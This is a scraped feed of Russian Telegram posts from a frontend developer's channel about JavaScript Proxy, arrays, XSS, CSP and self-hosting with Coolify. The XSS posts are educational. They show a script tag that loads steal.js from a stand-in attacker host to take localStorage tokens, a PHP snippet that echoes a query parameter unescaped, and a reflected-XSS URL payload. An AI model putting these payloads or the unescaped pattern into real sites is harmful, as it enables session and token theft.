Как реагировать на изменения объекта
В JavaScript обычные объекты не умеют уведомлять о своих изменениях, однако эту задачу можно решить с помощью
Ловушек много —
Например, можно переопределить поведение объекта при обращении к какому-нибудь из его свойств:
Но это лишь частный случай, можно сделать более утилитарный пример:
Сам
В первую очередь прокси удобен конечно же для создания реактивных систем, но также его можно применять, например, для валидации свойств и логирования
Удобно, что
Спасибо за прочтение, это важно для меня❤️
@prog_way_blog — чат — #theory #useful #javascript #code #web #patterns
В JavaScript обычные объекты не умеют уведомлять о своих изменениях, однако эту задачу можно решить с помощью
Proxy
Proxy
— это специальный встроенный в язык объект-обёртка, который позволяет изменить поведение других объектов, перехватывая действия над нимиnew Proxy(target, handlers)
создаёт прокси для объекта target
, где handler
содержит ловушки для перехвата операцийЛовушек много —
get
, set
, deleteProperty
, has
... (подробнее на MDN) — каждая из ловушек переопределяет реакцию объекта на взаимодействие с нимНапример, можно переопределить поведение объекта при обращении к какому-нибудь из его свойств:
const user = { name: "Денис", age: 23 };
const proxyUser = new Proxy(user, {
get(target, key) {
return key in target ? target[key] : "Не найдено";
}
});
proxyUser.name // "Денис"
proxyUser.city // "Не найдено"
Но это лишь частный случай, можно сделать более утилитарный пример:
const reactive = (obj, callback) => {
return new Proxy(obj, {
set(target, key, value) {
target[key] = value; // обновляем значение
callback(key, value); // вызываем реакцию
return true;
}
});
};
// Используем:
const state = reactive({ count: 0 }, (key, value) => {
console.log(`Свойство "${key}" изменилось:`, value);
});
state.count = 1; // Лог: "Свойство 'count' изменилось: 1"
state.count = 5; // Лог: "Свойство 'count' изменилось: 5"
Прикрутить сюда типы и рекурсивный вызов функции reactive на каждый вложенный объект и у вас почти получится свой vue.js🗿
Сам
Proxy
— это крайне нишевый инструмент, особенно в экосистеме реакта, где его встретить крайне сложно. Обычно можно обойтись более простыми вещами, но знать про прокси тоже нужно, может и пригодится. По крайней мере, у меня такой кейс на практике всё же былВ первую очередь прокси удобен конечно же для создания реактивных систем, но также его можно применять, например, для валидации свойств и логирования
Удобно, что
Proxy
крайне прост и к нему можно прикрутить что угодно. Например, к прокси можно прилепить zod
для валидации, как это сделано в zoxy. Тут вы ограничены лишь своей фантазиейЕсли кратко:
— Proxy — обёртка, которая позволяет переопределить реакцию на операцию для объекта
— Переопределение поведения происходит при помощи "ловушек"
Спасибо за прочтение, это важно для меня
@prog_way_blog — чат — #theory #useful #javascript #code #web #patterns
Please open Telegram to view this post
VIEW IN TELEGRAM
❤28🔥15👍7🐳3🤓1
Как создать массив фиксированной длины?
На самом деле, способов множество. Можно создать простой массив пустых элементов:
Но тогда будет проблема с тем, чтобы его заполнить.
Решить её очень просто — можно просто заполнить массив через метод
Или мы можем попробовать вызвать метод
Пробуйте угадать что получится в ходе выполнения кода выше😂
А что будет, если вызвать вот такой код?
Ответ:ноль, потому что значений в массиве по сути то и нет. Поэтому и не работает
Поэтому если мы хотим использовать то придётся использовать вот такой хак :
Такая конструкция уже превратит разряженный массив в массив из сотни
Мой любимый способ, который я использую всегда в подобных кейсах:
Мне так привычнее и синтаксически наиболее понятно. Да и ещё фишка в том, что вторым аргументом в
Ну или прям совсем в лоб, про такое тоже не забываем:
Спасибо за прочтение, это важно для меня❤️
@prog_way_blog — чат — #web #javascript #theory #data
На самом деле, способов множество. Можно создать простой массив пустых элементов:
Array(100)
Но тогда будет проблема с тем, чтобы его заполнить.
Решить её очень просто — можно просто заполнить массив через метод
fill
:Array(100).fill(0)
Или мы можем попробовать вызвать метод
map
и заполнить массив индексами:Array(100).map((_, index) => index)
Пробуйте угадать что получится в ходе выполнения кода выше
Ответ:⬇️
Получится [empty × 100], а не массив индексов)
Тут дело в том, что при вызове Array(100) у нас изначально создаётся "разряженный" массив. Это когда под каждый элемент массива даже память не выделяется.
Язык просто создаёт пустую структуру с полем length в значении 100
А что будет, если вызвать вот такой код?
Object.keys(Array(100)).length
Ответ:
map
map
, [...Array(100)].map((_, index) => index)
Такая конструкция уже превратит разряженный массив в массив из сотни
undefined
и позволит вызвать map
Мой любимый способ, который я использую всегда в подобных кейсах:
Array.from({ length: 100 })
Мне так привычнее и синтаксически наиболее понятно. Да и ещё фишка в том, что вторым аргументом в
from
можно сразу передать функцию-маппер:Array.from({ length: 100 }, () => 'привет')
Ну или прям совсем в лоб, про такое тоже не забываем:
const array = []
for (let i = 0; i < 100; i++) {
array.push('progway')
}
Спасибо за прочтение, это важно для меня
@prog_way_blog — чат — #web #javascript #theory #data
Please open Telegram to view this post
VIEW IN TELEGRAM
👍35❤8🐳7👀3🤔1🗿1
Что такое XSS
Как по мне, самый распространенный вариант попасться на
Сайты, не защищённые
1. Вы устанавливаете расширение, которое парсит страницу (ваш банк, например) и вставляет
2. Внедряется какой-нибудь
Есть несколько основных способов защититься:
— Всегда экранировать пользовательский ввод
— Не использовать небезопасные методы редактирования
— Не забывать про флаг
— Использовать
Спасибо за прочтение, это важно для меня💙
@prog_way_blog — чат — #theory #useful #web
XSS
— это тип уязвимости, при которой злоумышленник внедряет в страницу свой скрипт, и этот скрипт выполняется в браузере жертвы как будто от имени доверенного сайтаПри помощи XSS зачастую можно потерять cookies, localStorage, а также получить подмену содержимого страницы (например, на страницу встроится какая-нибудь фишинговая форма)
На основе вышеописанного и украденных данных авторизации уже можно сделать любое действие от лица пользователя, будь то отправка сообщения, банковский перевод или любая другая операция
Как по мне, самый распространенный вариант попасться на
XSS
атаку сейчас — поставить себе недобросовестное браузерное расширение и дать ему слишком много разрешений на ходуСайты, не защищённые
CSP
или с 'unsafe-inline'
директивой — лакомый кусочек для таких типов атак1. Вы устанавливаете расширение, которое парсит страницу (ваш банк, например) и вставляет
HTML
через innerHTML
2. Внедряется какой-нибудь
<script src="https://evil.ru/steal.js"></script>
, этот скрипт крадёт токен из localStorage
и отправляет на сервер злоумышленникаИтог: с вашим токеном можно украсть деньги, данные или сделать что-угодно от вашего имени. И это лишь один из тысячи примеров
Есть несколько основных способов защититься:
— Всегда экранировать пользовательский ввод
— Не использовать небезопасные методы редактирования
HTML
разметки (например, innerHTML
)— Не забывать про флаг
HttpOnly
на куках— Использовать
Content Security Policy
— CSP
(об этом в одном из следующих постов)Спасибо за прочтение, это важно для меня
@prog_way_blog — чат — #theory #useful #web
Please open Telegram to view this post
VIEW IN TELEGRAM
❤26👍13🔥10🐳1
Content Security Policy
Основная задача
Обычно политику можно задать в конфиге
Если на сайте настроена
Вот так это может выглядеть:
В целом, если не заниматься какой-то откровенной порнографией, то современные инструменты разработки типа
А
Настройте хотя бы простое правило
Спасибо за прочтение, это важно для меня🥰
@prog_way_blog — чат — #theory #useful #web
CSP
— механизм защиты веб-приложений в браузере, который регулирует из каких источников браузер может загружать ресурсы и выполнять их (скрипты, стили, шрифты, картинки и т.д.) Основная задача
CSP
— защитить пользователя от инъекционных атак, типа XSS
, блокируя любые недоверенные ресурсыCSP
можно задавать через HTTP
заголовок или через meta
тег. И, если честно, с CSP
в мета тегах я никогда не сталкивался, поэтому осознанно опущу эту часть, такой способ задания наименее гибкий и полезный и подходит только для статики Обычно политику можно задать в конфиге
Nginx
, условного Express
или даже в докере через заголовок: Content-Security-Policy
. Выглядеть это в упрощённом случае может примерно так:Content-Security-Policy: default-src 'self' https://trusted.ru;
Эта запись означает, что ресурсы можно загружать только с домена приложения либо с trusted.ru
Если на сайте настроена
CSP
без разрешения на инлайн-скрипты 'unsafe-inline'
и без сторонних доменов, код злоумышленника просто не выполнится: браузер заблокирует <script>
вне белого списка. Это эффективно снижает риск XSS
unsafe-inline — это директива CSP, которая позволяет браузеру выполнять инлайн-скрипты, вставленные в дом на лету. Это может быть удобно, но сильно ослабляет защиту сайта в целом.
Вот так это может выглядеть:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline';
В целом, если не заниматься какой-то откровенной порнографией, то современные инструменты разработки типа
Nuxt
/Next
из коробки несут в себе очень много минорных и не очень фичей для безопасности ваших пользователей, не отключайте их, если не знаете, что делаетеНу и так же помните, что фреймворки не защищают вас полностью
А
CSP
— не панацея, но очень мощный инструмент “защиты в глубину”.Настройте хотя бы простое правило
(default-src 'self')
, а дальше постепенно добавляйте всё, что вам будет нужно. Это всё равно лучше, чем ничегоСпасибо за прочтение, это важно для меня
@prog_way_blog — чат — #theory #useful #web
Please open Telegram to view this post
VIEW IN TELEGRAM
❤16👍11🔥6🐳2
Ещё один пример XSS уязвимости
Предположим, сайт
Что делает злоумышленник:
1. Создаёт специальную ссылку, например:
2. Обманом заставляет вас перейти по этой ссылке (через фишинговое письмо, сообщение в соцсети и т.д.)
Что происходит у вас в браузере:
1. Вы заходите на
2. Сервер
3. Ваш браузер видит этот скрипт и выполняет его, потому что считает, что он пришёл с доверенного сайта
Ну и всё, вы остались без почки
Поможет ли тут CSP? Ответ:увы, нет
Нужно понимать, что CSP проверяет только источник, а не содержимое скрипта. Тут вредоносный скрипт встроил сам доверенный сервер, CSP такой скрипт ничем не смутит. Зато эту проблему можно решить банальным экранированием
Спасибо за прочтение, это важно для меня💖
@prog_way_blog — чат — #theory #useful #web
Предположим, сайт
a.com
не защищён от XSS
. Допустим, там есть URL-параметр, который встраивается в страницу как есть:<div>Результаты поиска: <?php echo $_GET['query']; ?></div>
Что делает злоумышленник:
1. Создаёт специальную ссылку, например:
https://a.com/search?query=<script>alert('Я украл твою почку!')</script>
2. Обманом заставляет вас перейти по этой ссылке (через фишинговое письмо, сообщение в соцсети и т.д.)
Что происходит у вас в браузере:
1. Вы заходите на
a.com
через эту ссылку2. Сервер
a.com
вставляет <script>...</script>
прямо в HTML
3. Ваш браузер видит этот скрипт и выполняет его, потому что считает, что он пришёл с доверенного сайта
a.com
Ну и всё, вы остались без почки
Поможет ли тут CSP? Ответ:
Нужно понимать, что CSP проверяет только источник, а не содержимое скрипта. Тут вредоносный скрипт встроил сам доверенный сервер, CSP такой скрипт ничем не смутит. Зато эту проблему можно решить банальным экранированием
Спасибо за прочтение, это важно для меня
@prog_way_blog — чат — #theory #useful #web
Please open Telegram to view this post
VIEW IN TELEGRAM
❤16👍12🤯6🐳6🔥4
Первый шаг в сторону FrontOps
В продолжение темы FrontOps хочу рассказать, чем я пользуюсь для своих проектов
Длительное время любил и уважал Vercel, да и до сих пор считаю, что для базового деплоя проекта «в интернет» ничего лучше Vercel/Netlify для новичка не придумали, но со временем начал сталкиваться со множеством ограничений бесплатной версии. Например, веб-сокеты в бесплатной версии у меня поднять так и не получилось из-за ограничений самого сервиса
Но самое главное — нет контроля над происходящим, а он порой бывает невероятно полезен
Поэтому я начал использовать Coolify — опенсорсной self-hosted альтернативой. Если утрировать и упрощать, то представьте, что вы владелец Vercel. Вот Coolify даёт вам такое чувство, поскольку это коробочное решение, которое можно поднять на своём сервере по очень простому гайду и с удовольствием пользоваться
В Coolify есть множество функций, которые пригодятся каждому:
— импорт репозиториев с GitHub, в том числе приватных
— автоматическая установка SSL сертификатов (только при условии, что используете домен с reg.ru, если не ошибаюсь — такой там вендор-лок)
— редеплой по мержу
— переменные окружения, возможность создавать разные окружения для одного проекта
— возможность управлять сразу множеством серверов для деплоя
— уведомления, работа в команде, своё s3 хранилище и так далее
Ну и что не менее важно — есть готовый набор огромного набора инструментов, начиная Keycloak, Umami и PostgreSQL DBaaS в 2 клика, заканчивая сервером для майнкрафта — вот всё это уже реализовано и отлично работает
Для первого погружения в FrontOps — инструмент шикарный
Можно задеплоить парочку проектов, научиться писать хотя бы Dockerfile, может и пайплайн из парочки джобов собрать, а потом уже двигаться дальше
Прямо сейчас у меня развёрнуто несколько проектов, в том числе зеркало progway, про которое в канале я никогда не упоминал. Это написанная за пару вечеров прила, которая является почти полным аналогом канала. Сделано зеркало просто для того, чтобы привлекать новый трафик в канал с поиска в условном яндексе
Ну а если вы вдруг любитель поиграть в игру «Бункер», такой проект у меня тоже найдётся. Прила ещё достаточно давно была написана чисто для друзей, но не вижу преград не поделиться
Для меня эти проекты — испытательный полигон, где можно сделать акцент на том, что интересно пощупать — изучить новую библиотечку, какой-то новый подход и т.д.
А для кого-то такие пет-проекты и coolify в целом могут стать первым шагом в изучение темы FrontOps
@prog_way_blog — чат — #theory #blog #useful
В продолжение темы FrontOps хочу рассказать, чем я пользуюсь для своих проектов
Длительное время любил и уважал Vercel, да и до сих пор считаю, что для базового деплоя проекта «в интернет» ничего лучше Vercel/Netlify для новичка не придумали, но со временем начал сталкиваться со множеством ограничений бесплатной версии. Например, веб-сокеты в бесплатной версии у меня поднять так и не получилось из-за ограничений самого сервиса
Но самое главное — нет контроля над происходящим, а он порой бывает невероятно полезен
Поэтому я начал использовать Coolify — опенсорсной self-hosted альтернативой. Если утрировать и упрощать, то представьте, что вы владелец Vercel. Вот Coolify даёт вам такое чувство, поскольку это коробочное решение, которое можно поднять на своём сервере по очень простому гайду и с удовольствием пользоваться
В Coolify есть множество функций, которые пригодятся каждому:
— импорт репозиториев с GitHub, в том числе приватных
— автоматическая установка SSL сертификатов (только при условии, что используете домен с reg.ru, если не ошибаюсь — такой там вендор-лок)
— редеплой по мержу
— переменные окружения, возможность создавать разные окружения для одного проекта
— возможность управлять сразу множеством серверов для деплоя
— уведомления, работа в команде, своё s3 хранилище и так далее
Ну и что не менее важно — есть готовый набор огромного набора инструментов, начиная Keycloak, Umami и PostgreSQL DBaaS в 2 клика, заканчивая сервером для майнкрафта — вот всё это уже реализовано и отлично работает
Звучит как ужасная продажная реклама, но это, к сожалению, не так. Очень жаль))
Для первого погружения в FrontOps — инструмент шикарный
Можно задеплоить парочку проектов, научиться писать хотя бы Dockerfile, может и пайплайн из парочки джобов собрать, а потом уже двигаться дальше
Прямо сейчас у меня развёрнуто несколько проектов, в том числе зеркало progway, про которое в канале я никогда не упоминал. Это написанная за пару вечеров прила, которая является почти полным аналогом канала. Сделано зеркало просто для того, чтобы привлекать новый трафик в канал с поиска в условном яндексе
Пока этим приложением у меня нет времени заниматься, оно в подвешенном состоянии, но когда нибудь оно будет сиять
Ну а если вы вдруг любитель поиграть в игру «Бункер», такой проект у меня тоже найдётся. Прила ещё достаточно давно была написана чисто для друзей, но не вижу преград не поделиться
Для меня эти проекты — испытательный полигон, где можно сделать акцент на том, что интересно пощупать — изучить новую библиотечку, какой-то новый подход и т.д.
А для кого-то такие пет-проекты и coolify в целом могут стать первым шагом в изучение темы FrontOps
Не обязательно всё время быть сильными. Иногда достаточно просто жить дальше, держаться за принципы и не давать обстоятельствам нас сломать — и этого уже достаточно🥰
@prog_way_blog — чат — #theory #blog #useful
Please open Telegram to view this post
VIEW IN TELEGRAM
❤12🔥6🐳5👍3